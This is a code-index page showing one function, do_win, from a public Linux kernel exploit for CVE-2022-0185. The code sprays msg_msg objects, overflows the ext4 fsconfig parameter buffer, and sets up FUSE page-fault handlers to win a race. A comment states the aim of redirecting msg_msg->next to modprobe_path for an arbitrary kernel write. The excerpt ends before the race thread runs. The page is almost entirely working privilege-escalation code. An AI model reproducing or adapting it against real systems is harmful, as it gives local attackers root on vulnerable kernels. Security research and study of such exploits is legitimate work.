MCPcopy Create free account
hub / github.com/bsauce/kernel-exploit-factory / do_win

Function do_win

CVE-2022-0185/exploit/exploit_fuse.c:146–216  ·  view source on GitHub ↗

msg_msg arb write trick by hanging before msgseg on usercopy use FUSE to time the race

Source from the content-addressed store, hash-verified

144// msg_msg arb write trick by hanging before msgseg on usercopy
145// use FUSE to time the race
146void do_win()
147{
148 int size = 0x1000;
149 char buffer[0x2000] = {0};
150 char pat[0x1000] = {0};
151 msg* message = (msg*)buffer;
152 memset(buffer, 0x44, sizeof(buffer));
153// (1) mmap address
154 void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
155 uint64_t race_page = 0x1338000;
156 msg *rooter = (msg *)(race_page-0x8);
157 rooter->mtype = 1;
158 size = 0x1010;
159
160 int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
161 send_msg(target, message, size - 0x30, 0);
162// (2) prepare to overflow -> size = 4095 = 117*(33+2)
163 puts("[*] Opening ext4 filesystem");
164 strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
165 for (int i = 0; i < 0xa; i++)
166 {
167 fdv[i] = fsopen("ext4", 0);
168 if (fdv[i] < 0)
169 {
170 puts("Opening");
171 exit(-1);
172 }
173 for (int j = 0; j < 117; j++)
174 fsconfig(fdv[i], FSCONFIG_SET_STRING, "\x00", pat, 0);
175 }
176 /*
177 fd = fsopen("ext4", 0);
178 if (fd < 0)
179 {
180 puts("Opening");
181 exit(-1);
182 }
183 puts("[*] Overflowing...");
184 strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
185 for (int i = 0; i < 117; i++)
186 {
187 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
188 }*/
189// (3) prepare fault hanlers via FUSE at 0x1338000
190 puts("[*] Prepaing fault handlers via FUSE");
191 int evil_fd = open("evil/evil", O_RDWR);
192 if (evil_fd < 0)
193 {
194 perror("evil fd failed");
195 exit(-1);
196 }
197 if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
198 {
199 perror("mmap fail fuse 1");
200 exit(-1);
201 }
202// (4) change msg_msg->next = modprobe_path-8
203 pthread_t thread;

Callers 1

mainFunction · 0.70

Calls 2

make_queueFunction · 0.70
send_msgFunction · 0.70

Tested by

no test coverage detected